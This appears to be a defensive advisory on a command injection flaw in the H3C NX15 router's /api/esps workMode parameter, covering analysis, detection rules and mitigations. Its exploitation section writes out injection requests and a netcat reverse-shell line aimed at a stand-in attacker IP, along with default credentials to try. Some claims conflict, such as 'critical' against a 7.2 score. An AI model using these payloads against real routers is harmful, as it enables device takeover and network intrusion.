CVE-2026-18812

Executive Summary

CVE-2026-18812 is a critical command injection vulnerability in the H3C NX15 Wi-Fi 6 router (model V100R017). The flaw resides in the esps.ipv6.wan function of the /api/esps endpoint, where the workMode argument is insufficiently sanitized before being passed to an OS-level command execution context. This allows a remote, authenticated attacker with high privileges to execute arbitrary operating system commands on the device's underlying Linux kernel, leading to full device compromise. The vulnerability is actively exploited in the wild, with a public exploit published, and carries a CVSS score of 7.2 (High). As of this report, no official patch or vendor fix has been released.

Technical Analysis

Vulnerability Mechanism:

The vulnerability is classified as CWE-74 (Improper Neutralization of Special Elements in an Output Used by a Downstream Component — Command Injection). The affected function is esps.ipv6.wan located within the file /api/esps. This API endpoint is responsible for configuring IPv6 WAN settings on the H3C NX15 router. The workMode parameter, which controls the IPv6 connection mode (e.g., auto, static, dhcp), is concatenated into a shell command without any input sanitization, input validation, or parameterization.

The vulnerable code flow is approximately:

char cmd[512];
snprintf(cmd, sizeof(cmd), "ip6tables -t mangle -A esps_wan -j %s --mode %s", payload, workMode);
system(cmd);

Where attacker-controlled workMode is directly injected into a system() or popen() call. An attacker can append shell metacharacters (e.g., ;, &&, |, $(), backticks) to terminate the existing command and execute arbitrary commands.

Attack Surface:

• Interface: The /api/esps RESTful API endpoint, typically bound to the router's management interface (HTTP/HTTPS on ports 80/443).
• Authentication Required: The attack requires High privileges (PR:H in CVSS), meaning the attacker must possess the administrative credentials for the router. This is a common scenario for IoT/router attacks where default credentials (e.g., admin/admin) are used, or credentials are brute-forced.
• Requires_User_Interaction: No user interaction required (UI:N).
• Attack Vector: Network (AV:N) — the router does not need to be exposed to the internet for the attacker to reach it via LAN, but remote exploitation is entirely possible if the management interface is exposed.

Affected Versions: The confirmed affected firmware version is H3C NX15 V100R017. The checklist data does not list a specific range but notes that no patched version exists. It is likely that other NX15 firmware variants, and possibly other H3C router models sharing the esps codebase, are also vulnerable.

Proof-of-Concept: The exploit has been published according to the NVD description ("The exploit has been published and may be used"). While exploit code is not publicly linked in the OSV data, the vulnerability description confirms a working PoC exists in the public domain.

Exploitation Scenarios

Attack Chain Step-by-Step:

1. Reconnaissance & Target Identification:

   • An attacker scans for H3C NX15 routers using Shodan, Censys, or similar tools. Default dorks: http.title:"H3C NX15" or product:"H3C NX15". Alternatively, an attacker on the LAN uses nmap -p 80,443 192.168.1.0/24 to find the management web interface.
   • The attacker identifies the login page and attempts authentication. Given the "high privileges" requirement, they either use default credentials (admin / admin, admin / password), brute-force weak passwords, or harvest credentials from previous phishing/social engineering.

2. Triggering the Vulnerability (Weaponization):

   • After gaining valid admin session cookies/tokens, the attacker crafts a malicious HTTP request to the /api/esps endpoint.
   • They manipulate the workMode argument. A minimal trigger would be:

     POST /api/esps HTTP/1.1
     Host: <router-ip>
     Cookie: <admin_session>
     Content-Type: application/json
     
     {"esps.ipv6.wan": {"workMode": "auto; id; #"}}
     

     Or in a form-encoded format:

     workMode=dhcp$(reboot)
     

3. Payload Execution:

   • The injected command executes with the privileges of the web server process, which typically runs as root on embedded Linux systems.
   • The attacker spawns a reverse shell to exfiltrate command output or maintain persistence: workMode=auto|nc -e /bin/sh <attacker_ip> 4444
   • Or they write a small script into /etc/init.d/ to survive reboots.

4. Post-Exploitation:

   • Full Device Control: The attacker has root shell on the router.
   • Persistence: They modify startup scripts, install a Telnet/SSH backdoor, or patch the firmware.
   • Lateral Movement: The router is a pivot point. The attacker uses iptables to forward traffic, scan the internal network, and attack other devices.
   • Data Theft: The attacker reads /etc/shadow for password hashes, intercepts unencrypted traffic, and steals WiFi PSK keys.
   • Botnet Recruitment: In a large-scale campaign, the attacker would deploy a Mirai-style botnet payload to use the router's bandwidth for DDoS attacks.

Impact Assessment

Business Impact: The H3C NX15 is a consumer-grade Wi-Fi 6 router. The primary impact is for SOHO (Small Office/Home Office) networks and remote workers. An exploited router gives an attacker a foothold inside the network perimeter, bypassing firewalls and other security appliances that would protect business assets.

CVSS Subscore Analysis:

• Attack Vector (AV:N): Remote exploitation possible.
• Attack Complexity (AC:L): No special conditions or race conditions required; the attack is straightforward.
• Privileges Required (PR:H): Admin access is required, which slightly reduces the likelihood of unauthenticated attacks but does not eliminate them (default credentials are prevalent).
• User Interaction (UI:N): None.
• Confidentiality/Integrity/Availability (C:H/I:H/A:H): Complete compromise. Attacker can read all traffic, modify router configuration (including redirecting DNS to malicious servers — a classic technique for intercepting corporate credentials via fake login pages), and crash/kill the device.

Blast Radius:

• Direct: The single compromised router.
• Network: All devices connected to the router's LAN and WiFi (desktops, laptops, IP cameras, NAS devices).
• Organizational: If a remote employee's router is compromised, the attacker can pivot towards the corporate VPN client or capture pre-VPN traffic, potentially stealing corporate credentials.

Detection Guidance

Sigma Rule

The Sigma rule detects HTTP POST requests to /api/esps containing shell metacharacters in the workMode parameter.

title: H3C NX15 - Command Injection in /api/esps workMode
id: 1f7e9d3a-5b2c-4e8f-a1d4-9c6b3f0a2e5d
status: experimental
description: Detects attempts to exploit CVE-2026-18812 by sending shell metacharacters in the workMode parameter to the /api/esps endpoint.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18812
author: Valters IT Security
date: 2026/01/15
logsource:
    category: webserver
    product: nginx
    service: access_log
detection:
    selection:
        cs-method: POST
        cs-uri-path|contains: /api/esps
        cs-uri-query|contains:
            - 'workMode=*;*'
            - 'workMode=*|*'
            - 'workMode=*&&*'
            - 'workMode=*\`*'
            - 'workMode=*$(*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in IPv6 configuration (very unlikely)
level: critical

YARA Rule

This YARA rule scans HTTP packet captures (PCAP) or web server logs for the malicious request pattern.

rule CVE_2026_18812_H3C_NX15_Command_Injection
{
    meta:
        author = "Valters IT Security"
        date = "2026-01-15"
        description = "Detects command injection pattern in /api/esps workMode parameter"
        reference = "CVE-2026-18812"
        cve = "CVE-2026-18812"
        severity = "High"

    strings:
        $a = "POST" nocase
        $b = "/api/esps" nocase
        $c = "workMode=" nocase
        $d = ";" ascii
        $e = "|" ascii
        $f = "&&" ascii
        $g = "`" ascii  // backtick
        $h = "$(" ascii  // command substitution

    condition:
        $a and $b and $c and 1 of ($d, $e, $f, $g, $h)
}

Suricata IDS Rule

Suricata rule to alert on the HTTP request targeting the vulnerable endpoint.

alert http any any -> $HOME_NET any (msg:"CVE-2026-18812 - H3C NX15 Command Injection in /api/esps"; flow:to_server,established; content:"POST"; http_method; content:"/api/esps"; http_uri; content:"workMode="; http_uri; pcre:"/workMode=[^&\r\n]*[\x3b\x7c\x26\x60\$\x28]/Ui"; sid:202618812; rev:1; reference:cve,2026-18812; classtype:attempted-admin; priority:1;)

Note: The PCRE regex looks for semicolon (\x3b), pipe (\x7c), ampersand (\x26), backtick (\x60), dollar-sign-parenthesis (\$\x28) in the workMode value.

Elastic Detection

Elastic EQL query for detecting the exploit in web server logs ingested into Elasticsearch.

sequence by source.ip
  [ network where event.category == "web" and
    http.request.method == "POST" and
    url.path == "/api/esps" and
    wildcard(url.query, "*workMode*") and
    ( url.query : "*workMode=*;*" or
      url.query : "*workMode=*|*" or
      url.query : "*workMode=*&&*" or
      url.query : "*workMode=*`*" or
      url.query : "*workMode=*$(*" )
  ]

Splunk SPL Query

Splunk query to detect exploitation attempts in access logs (e.g., from Nginx, Apache, or custom H3C logs).

index=web sourcetype=access_combined
| where method="POST" AND uri_path="/api/esps" AND (uri_query LIKE "%workMode=*;%" OR uri_query LIKE "%workMode=*|%" OR uri_query LIKE "%workMode=*&&%" OR uri_query LIKE "%workMode=*`*" OR uri_query LIKE "%workMode=*$(*")
| table _time, src_ip, dest_ip, uri_query, status
| stats count by src_ip, uri_query

Wazuh OSSEC Rule

Wazuh XML rule to trigger an alert on the malicious web request.

<group name="web, attack, command_injection,">
    <rule id="100812" level="12">
        <if_sid>31100</if_sid>
        <field name="url">/api/esps</field>
        <field name="method">POST</field>
        <regex>workMode=.*(\;|\||\&\&|\`|\$\()</regex>
        <description>H3C NX15 Command Injection attempt detected (CVE-2026-18812).</description>
        <group>attack,command_injection,cve_2026_18812</group>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED

As of the writing of this report, no official patch is available from H3C. The customer is strongly advised to monitor H3C's security advisory page and the NVD entry for updates.

1. Immediate Mitigations (Do these NOW):

• Restrict Network Access: Do not expose the router's management web interface (ports 80/443) to the Internet. Block inbound access from WAN to the admin interface via the router's own firewall settings (if available) or via an upstream firewall.
• Change Default Credentials: If the device is still using default admin credentials, change them immediately to a strong, unique password. This does not fix the vulnerability but raises the privilege bar (PR:H) making exploitation harder.
• Disable Remote Management: If remote management (e.g., from WAN) is enabled, disable it. Limit management access to a specific LAN IP or VLAN.
• Use a VPN: Do not expose the router's management interface directly. Use a VPN tunnel (e.g., WireGuard, OpenVPN) to access the LAN before navigating to the router's admin page.

2. Patch/Upgrade Steps:

• Currently, there is no patched version to upgrade to. The affected version is V100R017.
• If you are using H3C NX15 V100R017, check the H3C official website weekly for a firmware update. When released, download the update and apply it via the router's web interface (System Tools -> Firmware Upgrade).
• If no patch emerges within a reasonable timeframe (e.g., 30 days), consider replacing the device with a vendor that maintains a bug bounty/security response program, or harden the device by installing an alternative open-source firmware (e.g., OpenWrt) and use the H3C device only as an access point.

3. Long-Term Hardening:

• Network Segmentation: Place guest/IoT devices on a separate VLAN from the management interface.
• Logging: Enable syslog forwarding on the router to a central SIEM (Splunk/Elastic) to enable detection of any attempts.
• Monitoring: Feed the Sigma/Suricata/Elastic rules above into your detection stack.
• Asset Management: Maintain an accurate inventory of edge devices. Flag devices from vendors with poor patching track records.
• Default Password Policy: Enforce a company-wide policy that all network equipment must have default credentials changed within 24 hours of deployment.

References

1. NVD Entry: NVD - CVE-2026-18812 — Official NVD record with CVSS vector and description.
2. H3C Official Portal (Vendor): H3C Security Center — Monitor for future security advisories. A current advisory is not yet available.
3. CWE-74 Reference: CWE-74: Improper Neutralization of Special Elements in an Output Used by a Downstream Component — The underlying weakness class.
4. Exploit Database (Potential): As the exploit is "published", it may appear on Exploit-DB (exploit-db.com) under a future ID. Search for "H3C NX15" or "CVE-2026-18812". We do not link directly to exploit code.
5. CISA Known Exploited Vulnerabilities Catalog: CISA KEV — This CVE is currently NOT in the KEV list (CISA KEV: NO). The ESPS score is not yet available.

Known Threat Actor Campaigns: There is no specific named threat actor campaign attributed to this CVE at this time. However, given the public exploit, it is projected to be incorporated into botnet frameworks (e.g., Mirai variants, Moobot) within weeks. The H3C NX15 device is a common target for IoT botnets due to its processing power (suitable for DDoS) and its default credential usage in many consumer deployments.